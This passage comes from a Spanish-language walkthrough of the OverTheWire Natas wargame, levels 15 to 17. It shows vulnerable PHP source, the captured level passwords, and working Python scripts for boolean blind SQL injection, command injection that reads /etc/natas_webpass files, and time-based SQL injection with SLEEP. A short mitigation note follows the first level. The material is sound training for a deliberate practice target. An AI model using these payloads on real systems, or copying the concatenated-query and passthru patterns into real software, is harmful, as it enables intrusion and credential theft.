return pos, "?"
with ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(find_char, i) for i in range(1, 33)]
for future in as_completed(futures):
pos, char = future.result()
password[pos - 1] = char
p.status("".join(password))
p.success("".join(password))
python3 sqli.py
[+] Password: Xm6XEeRN3zsGjRDqBPmuqAVV65k7e3Gb
Xm6XEeRN3zsGjRDqBPmuqAVV65k7e3Gb
Se trata de una vulnerabilidad de Blind SQL Injection (Boolean-Based) (inyección SQL a ciegas basada en respuestas booleanas). El código sigue concatenando el input directamente sin usar parameterized queries, pero a diferencia del nivel anterior, la aplicación no refleja registros ni errores en la interfaz web; solo devuelve un estado binario (“This user exists” o “This user doesn’t exist”). Un atacante puede realizar preguntas con respuestas lógicas de sí/no e inyectar funciones como SUBSTRING() y BINARY para forzar condiciones condicionales y exfiltrar la contraseña de forma asíncrona mediante fuerza bruta posicional.
- Separar completamente el código de los datos mediante consultas parametrizadas anula por completo la vulnerabilidad, haciendo imposible que el motor evalúe condiciones lógicas (
AND,OR,BINARY) introducidas por el cliente. - Devolver mensajes genéricos para no dar pistas analíticas sobre la existencia exacta de registros específicos, mitigando parcialmente ataques de User Enumeration.
Natas Level 15 → Level 16
Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.
curl http://natas16.natas.labs.overthewire.org/ --user natas16:Xm6XEeRN3zsGjRDqBPmuqAVV65k7e3Gb
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas16", "pass": "Xm6XEeRN3zsGjRDqBPmuqAVV65k7e3Gb" };</script></head>
<body>
<h1>natas16</h1>
<div id="content">
For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
<?
ini_set('pcre.jit', 0);
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
import requests
from requests.auth import HTTPBasicAuth
import string
from concurrent.futures import ThreadPoolExecutor, as_completed
from pwn import log
url = "http://natas16.natas.labs.overthewire.org/"
auth = HTTPBasicAuth("natas16", "Xm6XEeRN3zsGjRDqBPmuqAVV65k7e3Gb")
chars = string.ascii_letters + string.digits
password = ""
progress = log.progress("Password")
def find_char(prefix, char):
payload = {"needle": f"$(grep ^{prefix}{char} /etc/natas_webpass/natas17)test", "search": "Submit"}
response = requests.get(url, params=payload, auth=auth)
if "test" not in response.text:
return char
return None
with ThreadPoolExecutor(max_workers=10) as executor:
while len(password) < 32:
prefix = password
futures = [executor.submit(find_char, prefix, char) for char in chars]
for future in as_completed(futures):
char = future.result()
if char is not None:
password += char
progress.status(password)
break
progress.success(password)
Natas Level 16 → Level 17
Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.
curl http://natas17.natas.labs.overthewire.org/ --user natas17:KLdAM3VZux8o6TbkbhuaG5KtYjI77tfx
<!DOCTYPE html>
<html lang="en">
<head>
<link rel='shortcut icon' href='/img/favicon.ico' />
<link rel="stylesheet" href="/css/style.css" type="text/css" media="screen" />
<link href="https://fonts.googleapis.com/css?family=Inconsolata|Pontano+Sans|Maven+Pro&subset=latin,latin-ext" rel='stylesheet' type='text/css'>
<link rel="stylesheet" href="/css/highlightcode.css">
<link rel="stylesheet" href="/css/patreon.css">
<script src="/js/jquery-3.7.1.min.js"></script>
<script src="/js/mustache-4.0.0.min.js"></script>
<script src="/js/highlight.min.js"></script>
<script src="/js/otwcrap.js"></script>
<script src="/js/updatedmarkers.js"></script>
<title>OverTheWire</title>
</head>
<body>
<div id="sitename"><a href="/">OverTheWire</a></div>
<div id="siteslogan">We're hackers, and we are good-looking. We are the 1%.</div>
<div id="topmenu">
<ul>
<li><a class='updatedmarkercontainer selected' href="/wargames/">Wargames
<div class="updatedmarker" data-link="/wargames/"></div>
</a></li>
<li><a class='updatedmarkercontainer' href="/rules/">Rules
<div class="updatedmarker" data-link="/rules/"></div>
</a></li>
<li><a class='updatedmarkercontainer' href="/information/donate.html">Information
<div class="updatedmarker" data-link="/information/donate.html"></div>
</a></li>
</ul>
</div>
<div id="sidemenu"></div>
<script>renderLevelsMenu("natas");</script>
<main id="content">
<div id="title"></div>
<script>renderLevelTitle("natas", 17);</script>
<!--
<div id="please-read-the-rules">Please read and accept the <a href="/rules/">Rules!</a></div>
-->
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Username: natas17
URL: http://natas17.natas.labs.overthewire.org
</code></pre></div></div>
</main>
<div id="shortcuts">
<a href="/information/donate.html">
<div class="button">Donate!</div>
</a>
<a href="/information/chat.html">
<div class="button">Help!?</div>
</a>
</div>
<!-- Google tag (gtag.js) -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-RD0K2239G0"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag() { dataLayer.push(arguments); }
gtag('js', new Date());
gtag('config', 'G-RD0K2239G0');
</script>
<script src="/js/updatedmarkers-logic.js"></script>
<script>
if (localStorage.getItem("rules-accepted") === "true") {
document.getElementById("please-read-the-rules").style.display = "none";
}
</script>
</body>
</html>
<?php
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas17', '<censored>');
mysqli_select_db($link, 'natas17');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysqli_close($link);
}
?>
from requests.auth import HTTPBasicAuth
import requests
import string
import time
from pwn import log
url = "http://natas17.natas.labs.overthewire.org/"
auth = HTTPBasicAuth("natas17", "KLdAM3VZux8o6TbkbhuaG5KtYjI77tfx")
headers = {"Content-Type": "application/x-www-form-urlencoded"}
session = requests.session()
chars = string.ascii_letters + string.digits
password = []
progress = log.progress("Password")
try_char = log.progress(f"Trying char")
while len(password) < 32:
for char in chars:
try_char.status(char)
payload = {"username": f'natas18" AND password LIKE BINARY "{"".join(password)}{char}%" AND SLEEP(2)#'}
start = time.perf_counter()
response = session.post(url, headers=headers, auth=auth, data=payload)
end = time.perf_counter()
elapsed = end - start
if elapsed > 2:
password.append(char)
progress.status("".join(password))
break
progress.success("".join(password))